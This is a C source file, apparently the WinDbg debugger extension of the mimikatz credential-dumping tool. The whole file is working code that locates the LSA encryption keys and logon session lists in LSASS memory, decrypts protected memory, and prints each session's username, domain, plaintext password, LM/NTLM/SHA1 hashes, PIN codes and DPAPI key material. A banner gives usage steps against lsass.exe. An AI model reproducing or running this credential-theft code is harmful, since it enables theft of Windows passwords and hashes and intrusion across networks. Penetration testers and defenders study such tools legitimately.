/* Benjamin DELPY `gentilkiwi` http://blog.gentilkiwi.com benjamin@gentilkiwi.com Licence : http://creativecommons.org/licenses/by/3.0/fr/ */ #include "kwindbg.h" WINDBG_EXTENSION_APIS ExtensionApis = {0}; EXT_API_VERSION g_ExtApiVersion = {5 , 5 , #ifdef _M_X64 EXT_API_VERSION_NUMBER64 #elif defined _M_IX86 EXT_API_VERSION_NUMBER32 #endif , 0}; USHORT NtBuildNumber = 0; LPEXT_API_VERSION WDBGAPI ExtensionApiVersion (void) { return &g_ExtApiVersion; } VOID CheckVersion(void) { return; } VOID WDBGAPI WinDbgExtensionDllInit(PWINDBG_EXTENSION_APIS lpExtensionApis, USHORT usMajorVersion, USHORT usMinorVersion) { ExtensionApis = *lpExtensionApis; NtBuildNumber = usMinorVersion; dprintf("\n" " .#####. " MIMIKATZ_FULL_A "\n" " .## ^ ##. Windows build %hu\n" " ## / \\ ## /* * *\n" " ## \\ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )\n" " '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)\n" " '#####' WinDBG extension ! * * */\n\n" "===================================\n" "# * Kernel mode * #\n" "===================================\n" "# Search for LSASS process\n" "0: kd> !process 0 0 lsass.exe\n" "# Then switch to its context\n" "0: kd> .process /r /p \n" "# And finally :\n" "0: kd> !mimikatz\n" "===================================\n" "# * User mode * #\n" "===================================\n" "0:000> !mimikatz\n" "===================================\n\n" , NtBuildNumber); } const char * KUHL_M_SEKURLSA_LOGON_TYPE[] = { "UndefinedLogonType", "Unknown !", "Interactive", "Network", "Batch", "Service", "Proxy", "Unlock", "NetworkCleartext", "NewCredentials", "RemoteInteractive", "CachedInteractive", "CachedRemoteInteractive", "CachedUnlock", }; KUHL_M_SEKURLSA_PACKAGE packages[] = { {"msv", NULL, 0, kuhl_m_sekurlsa_enum_logon_callback_msv}, {"tspkg", "tspkg!TSGlobalCredTable", 0, kuhl_m_sekurlsa_enum_logon_callback_tspkg}, {"wdigest", "wdigest!l_LogSessList", 0, kuhl_m_sekurlsa_enum_logon_callback_wdigest}, {"livessp", "livessp!LiveGlobalLogonSessionList", 0, kuhl_m_sekurlsa_enum_logon_callback_livessp}, {"kerberos", "kerberos!KerbGlobalLogonSessionTable", 0, kuhl_m_sekurlsa_enum_logon_callback_kerberos}, {"ssp", "msv1_0!SspCredentialList", 0, kuhl_m_sekurlsa_enum_logon_callback_ssp}, {"masterkey", "lsasrv!g_MasterKeyCacheList", 0, kuhl_m_sekurlsa_enum_logon_callback_masterkeys}, {"masterkey", "dpapisrv!g_MasterKeyCacheList", 0, kuhl_m_sekurlsa_enum_logon_callback_masterkeys}, }; const KUHL_M_SEKURLSA_ENUM_HELPER lsassEnumHelpers[] = { {sizeof(KIWI_MSV1_0_LIST_6) , FIELD_OFFSET(KIWI_MSV1_0_LIST_6 , LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_6 , LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_6 , UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_6 , Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_6 , Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_6 , pSid)}, {sizeof(KIWI_MSV1_0_LIST_62), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_62, pSid)}, {sizeof(KIWI_MSV1_0_LIST_63), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LocallyUniqueIdentifier), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, LogonType), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Session), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, UserName), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Domaine), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, Credentials), FIELD_OFFSET(KIWI_MSV1_0_LIST_63, pSid)} }; DECLARE_API(mimikatz) { ULONG_PTR pInitializationVector = 0, phAesKey = 0, ph3DesKey = 0, pLogonSessionList = 0, pLogonSessionListCount = 0; PLIST_ENTRY LogonSessionList; ULONG LogonSessionListCount, i, j; KIWI_BASIC_SECURITY_LOGON_SESSION_DATA sessionData; const KUHL_M_SEKURLSA_ENUM_HELPER * helper; PBYTE buffer; if(NtBuildNumber < 8000) helper = &lsassEnumHelpers[0]; else if(NtBuildNumber < 9400) helper = &lsassEnumHelpers[1]; else helper = &lsassEnumHelpers[2]; pInitializationVector = GetExpression("lsasrv!InitializationVector"); phAesKey = GetExpression("lsasrv!hAesKey"); ph3DesKey = GetExpression("lsasrv!h3DesKey"); pLogonSessionList = GetExpression("lsasrv!LogonSessionList"); pLogonSessionListCount = GetExpression("lsasrv!LogonSessionListCount"); for(j = 0; j < sizeof(packages) / sizeof(KUHL_M_SEKURLSA_PACKAGE); j++) if(packages[j].symbolName) packages[j].symbolPtr = GetExpression(packages[j].symbolName); if(NT_SUCCESS(kuhl_m_sekurlsa_nt6_init())) { if(pInitializationVector && phAesKey && ph3DesKey) { if(NT_SUCCESS(kuhl_m_sekurlsa_nt6_acquireKeys(pInitializationVector, phAesKey, ph3DesKey))) { if(pLogonSessionListCount && pLogonSessionList) { if(ReadMemory(pLogonSessionListCount, &LogonSessionListCount, sizeof(ULONG), NULL)) { if(LogonSessionList = (PLIST_ENTRY) LocalAlloc(LPTR, sizeof(LIST_ENTRY) * LogonSessionListCount)) { if(ReadMemory(pLogonSessionList, LogonSessionList, sizeof(LIST_ENTRY) * LogonSessionListCount, NULL)) { if(buffer = (PBYTE) LocalAlloc(LPTR, helper->tailleStruct)) { for(i = 0; i < LogonSessionListCount; i++) { *(PVOID *) (buffer) = LogonSessionList[i].Flink; while(pLogonSessionList + (i * sizeof(LIST_ENTRY)) != (ULONG_PTR) *(PVOID *) (buffer)) { if(ReadMemory((ULONG_PTR) *(PVOID *) (buffer), buffer, helper->tailleStruct, NULL)) { sessionData.LogonId = (PLUID) (buffer + helper->offsetToLuid); sessionData.LogonType = *((PULONG) (buffer + helper->offsetToLogonType)); sessionData.Session = *((PULONG) (buffer + helper->offsetToSession)); sessionData.UserName = (PUNICODE_STRING) (buffer + helper->offsetToUsername); sessionData.LogonDomain = (PUNICODE_STRING) (buffer + helper->offsetToDomain); sessionData.pCredentials= *(PVOID *) (buffer + helper->offsetToCredentials); sessionData.pSid = *(PSID *) (buffer + helper->offsetToPSid); if((sessionData.LogonType != Network) /*&& (sessionData.LogonType != UndefinedLogonType)*/) { kull_m_string_getDbgUnicodeString(sessionData.UserName); kull_m_string_getDbgUnicodeString(sessionData.LogonDomain); kuhl_m_sekurlsa_utils_getSid(&sessionData.pSid); dprintf("\nAuthentication Id : %u ; %u (%08x:%08x)\n" "Session : %s from %u\n" "User Name : %wZ\n" "Domain : %wZ\n" "SID : " , sessionData.LogonId->HighPart, sessionData.LogonId->LowPart, sessionData.LogonId->HighPart, sessionData.LogonId->LowPart , KUHL_M_SEKURLSA_LOGON_TYPE[sessionData.LogonType], sessionData.Session , sessionData.UserName, sessionData.LogonDomain); if(sessionData.pSid) kull_m_string_displaySID(sessionData.pSid); dprintf("\n"); LocalFree(sessionData.UserName->Buffer); LocalFree(sessionData.LogonDomain->Buffer); LocalFree(sessionData.pSid); for(j = 0; j < sizeof(packages) / sizeof(KUHL_M_SEKURLSA_PACKAGE); j++) if(packages[j].symbolPtr || !packages[j].symbolName) { dprintf("\t%s : ", packages[j].name); packages[j].callback(packages[j].symbolPtr, sessionData.LogonId, sessionData.pCredentials); dprintf("\n"); } } } else break; } } LocalFree(buffer); } } LocalFree(LogonSessionList); } } } else dprintf("[ERROR] [LSA] Symbols\n%p - lsasrv!LogonSessionListCount\n%p - lsasrv!LogonSessionList\n", pLogonSessionListCount, pLogonSessionList); } else dprintf("[ERROR] [CRYPTO] Acquire keys"); } else dprintf("[ERROR] [CRYPTO] Symbols\n%p - lsasrv!InitializationVector\n%p - lsasrv!hAesKey\n%p - lsasrv!h3DesKey\n", pInitializationVector, phAesKey, ph3DesKey); kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory(); } else dprintf("[ERROR] [CRYPTO] Init\n"); } UNICODE_STRING uNull = {12, 14, L"(null)"}; VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags) { PUNICODE_STRING credentials, username = NULL, domain = NULL, password = NULL; PMSV1_0_PRIMARY_CREDENTIAL pPrimaryCreds; PRPCE_CREDENTIAL_KEYCREDENTIAL pRpceCredentialKeyCreds; PVOID base; DWORD type, i; if(mesCreds) { if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL) { type = flags & KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIAL_MASK; credentials = (PUNICODE_STRING) mesCreds; if(credentials->Buffer) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(((PUNICODE_STRING) mesCreds)->Buffer, ((PUNICODE_STRING) mesCreds)->Length); switch(type) { case KUHL_SEKURLSA_CREDS_DISPLAY_PRIMARY: pPrimaryCreds = (PMSV1_0_PRIMARY_CREDENTIAL) credentials->Buffer; kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->UserName, FALSE); kuhl_m_sekurlsa_utils_NlpMakeRelativeOrAbsoluteString(pPrimaryCreds, &pPrimaryCreds->LogonDomainName, FALSE); dprintf("\n\t * Username : %wZ" "\n\t * Domain : %wZ" , &pPrimaryCreds->UserName, &pPrimaryCreds->LogonDomainName); dprintf("\n\t * LM : "); kull_m_string_dprintf_hex(pPrimaryCreds->LmOwfPassword, LM_NTLM_HASH_LENGTH, 0); dprintf("\n\t * NTLM : "); kull_m_string_dprintf_hex(pPrimaryCreds->NtOwfPassword, LM_NTLM_HASH_LENGTH, 0); dprintf("\n\t * SHA1 : "); kull_m_string_dprintf_hex(pPrimaryCreds->ShaOwPassword, SHA_DIGEST_LENGTH, 0); break; case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY: pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) credentials->Buffer; base = (PBYTE) pRpceCredentialKeyCreds + sizeof(RPCE_CREDENTIAL_KEYCREDENTIAL) + (pRpceCredentialKeyCreds->unk0 - 1) * sizeof(MARSHALL_KEY); for (i = 0; i < pRpceCredentialKeyCreds->unk0; i++) kuhl_m_sekurlsa_genericKeyOutput(&pRpceCredentialKeyCreds->key[i], &base); break; default: dprintf("\n\t * Raw data : "); kull_m_string_dprintf_hex(credentials->Buffer, credentials->Length, 1); } } } else if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_PINCODE) { if(mesCreds->UserName.Buffer) { if(kull_m_string_getDbgUnicodeString(&mesCreds->UserName)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(mesCreds->UserName.Buffer, mesCreds->UserName.MaximumLength); dprintf("\n\t * PIN code : %wZ", &mesCreds->UserName); LocalFree(mesCreds->UserName.Buffer); } } } else { if(mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer || mesCreds->Password.Buffer) { if(kull_m_string_getDbgUnicodeString(&mesCreds->UserName) && kull_m_string_suspectUnicodeString(&mesCreds->UserName)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) username = &mesCreds->UserName; else domain = &mesCreds->UserName; } if(kull_m_string_getDbgUnicodeString(&mesCreds->Domaine) && kull_m_string_suspectUnicodeString(&mesCreds->Domaine)) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_DOMAIN)) domain = &mesCreds->Domaine; else username = &mesCreds->Domaine; } if(kull_m_string_getDbgUnicodeString(&mesCreds->Password) /*&& !kull_m_string_suspectUnicodeString(&mesCreds->Password)*/) { if(!(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NODECRYPT)/* && *lsassLocalHelper->pLsaUnprotectMemory*/) kuhl_m_sekurlsa_nt6_LsaUnprotectMemory(mesCreds->Password.Buffer, mesCreds->Password.MaximumLength); password = &mesCreds->Password; } if(password || !(flags & KUHL_SEKURLSA_CREDS_DISPLAY_WPASSONLY)) { dprintf((flags & KUHL_SEKURLSA_CREDS_DISPLAY_LINE) ? "%wZ\t%wZ\t" : "\n\t * Username : %wZ" "\n\t * Domain : %wZ" "\n\t * Password : " , username ? username : &uNull, domain ? domain : &uNull); if(!password || kull_m_string_suspectUnicodeString(password)) dprintf("%wZ", password ? password : &uNull); else kull_m_string_dprintf_hex(password->Buffer, password->Length, 1); } LocalFree(mesCreds->UserName.Buffer); LocalFree(mesCreds->Domaine.Buffer); LocalFree(mesCreds->Password.Buffer); } } if(flags & KUHL_SEKURLSA_CREDS_DISPLAY_NEWLINE) dprintf("\n"); } else dprintf("LUID KO\n"); } VOID kuhl_m_sekurlsa_genericKeyOutput(PMARSHALL_KEY key, PVOID * dirtyBase) { switch(key->unkId) { case 0x00010002: case 0x00010003: dprintf("\n\t * NTLM : "); break; case 0x00020002: dprintf("\n\t * SHA1 : "); break; case 0x00030002: case 0x00030003: dprintf("\n\t * RootKey : "); break; case 0x00040002: case 0x00040003: dprintf("\n\t * DPAPI : "); break; default: dprintf("\n\t * %08x : ", key->unkId); } kull_m_string_dprintf_hex((PBYTE) *dirtyBase + sizeof(ULONG), key->length, 0); *dirtyBase = (PBYTE) *dirtyBase + sizeof(ULONG) + *(PULONG) *dirtyBase; }